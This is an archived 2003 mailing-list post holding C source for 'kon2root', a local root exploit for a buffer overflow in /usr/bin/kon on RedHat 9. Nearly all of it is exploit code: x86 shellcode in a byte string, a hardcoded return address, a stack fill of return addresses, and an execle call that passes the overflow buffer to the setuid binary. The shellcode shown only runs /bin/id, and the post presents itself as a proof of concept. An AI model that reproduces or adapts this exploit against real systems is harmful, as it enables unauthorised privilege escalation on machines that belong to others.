Next kon2root - Redhat 9
Date: 16 Jun 2003 12:21:05 -0000
From: c0ntex <[email protected]>
To: [email protected]
Subject: Next kon2root - Redhat 9
/*
* Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0
*
* http://www.mail-archive.com/bugtraq@securityfocus.com/msg11681.html
*
* The original bug was found by wszx for RedHat 8.0 - Ported to C
*
* Compile: gcc -Wall kon2root kon2root.c
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define NOP 0x90
#define RET 0xbffffffa
#define VULN "/usr/bin/kon"
#define MAXBUF 800
static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07
\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56
\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8
\xdc\xff"
"\xff\xff/bin/id";
int main()
{
int i, *egg;
long retaddr;
static char buff[MAXBUF];
static char *sploit[0x02] = { w00tI4r3l33t, NULL };
fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ]
\n", VULN);
fprintf (stdout, "[ Coded by c0ntex - http://62.31.72.168 ]\n");
fprintf (stdout, "[ For Linux RedHat v9 x86 - Ret_Addr
0xbffffffa ]\n\n\n\n");
if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) !
= 0x00) {
egg = (int *)(buff);
}
for(i = 0x00; i < MAXBUF; i += 0x04)
*(egg)++ = retaddr; *(egg) = NOP;
execle(VULN, VULN, "-Coding", buff, NULL, sploit);
return(0x00);
}
